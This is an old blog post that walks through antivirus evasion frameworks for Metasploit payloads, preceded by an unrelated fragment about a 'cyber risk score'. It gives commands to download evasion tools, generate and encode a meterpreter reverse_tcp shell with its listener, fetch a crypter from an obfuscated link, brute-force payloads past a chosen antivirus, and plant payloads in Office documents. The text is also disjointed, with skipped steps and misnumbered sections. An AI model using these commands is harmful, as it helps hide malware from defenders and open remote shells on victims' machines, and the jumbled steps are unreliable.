platform; including automated penetration tests and risk assesments culminating in a "cyber risk score" out of 1,000, just like a credit score.
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List of Differnet AV evasion Frameworks.
published on 2013-10-30 10:20:00 UTC by nirav desai Content:
Today we are gonna talk about different AV evasion frameworks for metasploit payload & how to use them? It`s very imporatant when you know which AV you have to bypass, because we don`t have to worry about FUD. Some payload can bypass specific AV ; while other AV can not be bypassed using that payload.
(1)Veil:-
Veil is python based tool which create FUD payload , One of the best framework for AV evasion. On the 15th of every month, at least one new payload module will be released.
wget https://github.com/nccgroup/metasploitavevasion/archive/master.zip
unzip master.zip
cd metasploitavevasion-master/
./avoid.sh
If you are using other interface than eth , then you have to change in script avoid.sh . For exmaple ; i am using ppp0 interface ,so open avoid.sh file & replace line 150 which is IP=$(ifconfig "$IPINT" |grep "inet adr:" |cut -d ":" -f 2 |awk '{ print $1 }') with IP=$(ifconfig ppp0 | awk '/inet addr/ {split ($2,A,":"); print A[2]}').
wget https://syringe-antivirus-bypass.googlecode.com/files/syringe%200.1.tar
tar xf syringe\ 0.1.tar
./syringe.sh
As mention previously , change interface type in script if you are not using eth. Replace line 10 which is export interface=eth0 to export interface=ppp0.
we are gonna use downloaded shellcodexec in third step on victim machine.
(1)msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.56.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
(2)msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.56.1 E
Download it from below link .
http://home.base.be/%72%68%69%6e%63%6b%78%74/script.zip
unzip script.zip
python crypter.py
If you get error while running then change path of structure.c in line 45 & save it , run again.
(7)Brute-force AV Evasion :-
Genpayloads.py is script to generate lots of payloads , then scan folder for specific after that you have some binary left in folder which does not detected by specific AV.
Metasploit has a couple of built in methods you can use to infect Word and Excel documents with malicious Metasploit payloads. You can also use your own custom payloads as well.
Using Metasm To Avoid Antivirus Detection. First generate metasploit payload in raw format then disassmble using metasm which come with metasploit.Add anything you want so long as you don’t break the functionality of the application.After that compile into EXE.